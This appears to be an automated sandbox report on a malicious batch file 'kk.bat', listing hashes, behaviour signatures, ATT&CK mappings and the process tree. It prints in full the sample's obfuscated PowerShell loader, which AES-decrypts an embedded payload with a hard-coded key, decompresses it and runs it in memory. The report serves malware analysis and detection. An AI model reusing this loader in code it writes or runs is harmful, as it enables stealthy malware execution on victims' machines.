9800bef9d4936ee96d4872fb686121dd7209f8b529e9bdc833c4fe54bb68f5c8

Analysis

max time kernel
387s
max time network
397s
platform
windows7_x64
resource
win7-20221111-en
resource tags

arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
submitted
09-02-2023 14:38

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General

Target

kk.bat
Size

182KB
MD5

df4da1ecd4c50871a1c4315f571e4402
SHA1

1dbbe9b3784cf5ecdd08b27132a7e31588954865
SHA256

9800bef9d4936ee96d4872fb686121dd7209f8b529e9bdc833c4fe54bb68f5c8
SHA512

5f9e47f865c48cb1f2070d5d393a5d3494074bfe2347e07c988d06c8244dd420181c210a8ebdd54f768a64a5906d0c9e3be271d44f6e5bd32991bc2cacf85d3e
SSDEEP

3072:ur2RTVYk0bjRtZLlnm6Gdk8vZQfjO8KifQ6vfegRI8mlgJJ4u6A0FzfghYE:BRiltZITy8ufjLQsBUlgeMYE

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

Processes:

kk.bat.exe

pid process

968 kk.bat.exe
Loads dropped DLL 1 IoCs

Processes:

cmd.exe

pid process

1612 cmd.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

kk.bat.exe

pid process

968 kk.bat.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

kk.bat.exe

description pid process

Token: SeDebugPrivilege 968 kk.bat.exe

pid	process
968	kk.bat.exe

pid	process
1612	cmd.exe

pid	process
968	kk.bat.exe

description	pid	process
Token: SeDebugPrivilege	968	kk.bat.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 1612 wrote to memory of 968	1612	cmd.exe	kk.bat.exe
PID 1612 wrote to memory of 968	1612	cmd.exe	kk.bat.exe
PID 1612 wrote to memory of 968	1612	cmd.exe	kk.bat.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\kk.bat"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1612

C:\Users\Admin\AppData\Local\Temp\kk.bat.exe
"kk.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $flLnL = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\kk.bat').Split([Environment]::NewLine);foreach ($jhglm in $flLnL) { if ($jhglm.StartsWith(':: ')) { $uDeAm = $jhglm.Substring(3); break; }; };$dLIJD = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($uDeAm);$nJkwh = New-Object System.Security.Cryptography.AesManaged;$nJkwh.Mode = [System.Security.Cryptography.CipherMode]::CBC;$nJkwh.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$nJkwh.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('I5NM1YScgS/1//5R8gmm/tnI3DRCjxBbFnAG0xn8rTc=');$nJkwh.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('mehcJXqMnXZUmnmrBD1Eeg==');$bIbyd = $nJkwh.CreateDecryptor();$dLIJD = $bIbyd.TransformFinalBlock($dLIJD, 0, $dLIJD.Length);$bIbyd.Dispose();$nJkwh.Dispose();$gJfcg = New-Object System.IO.MemoryStream(, $dLIJD);$dkGYN = New-Object System.IO.MemoryStream;$yfRSU = New-Object System.IO.Compression.GZipStream($gJfcg, [IO.Compression.CompressionMode]::Decompress);$yfRSU.CopyTo($dkGYN);$yfRSU.Dispose();$gJfcg.Dispose();$dkGYN.Dispose();$dLIJD = $dkGYN.ToArray();$qMhaY = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($dLIJD);$haTMg = $qMhaY.EntryPoint;$haTMg.Invoke($null, (, [string[]] ('')))
2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:968

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\kk.bat.exe
Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
\Users\Admin\AppData\Local\Temp\kk.bat.exe
Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

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memory/968-55-0x0000000000000000-mapping.dmp

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memory/968-57-0x000007FEFBD91000-0x000007FEFBD93000-memory.dmp

Filesize
8KB

Download
memory/968-58-0x000007FEF3900000-0x000007FEF4323000-memory.dmp

Filesize
10.1MB

Download
memory/968-60-0x00000000022E4000-0x00000000022E7000-memory.dmp

Filesize
12KB

Download
memory/968-59-0x000007FEF2DA0000-0x000007FEF38FD000-memory.dmp

Filesize
11.4MB

Download
memory/968-61-0x00000000022EB000-0x000000000230A000-memory.dmp

Filesize
124KB

Download
memory/968-62-0x00000000022E4000-0x00000000022E7000-memory.dmp

Filesize
12KB

Download
memory/968-63-0x00000000022EB000-0x000000000230A000-memory.dmp

Filesize
124KB

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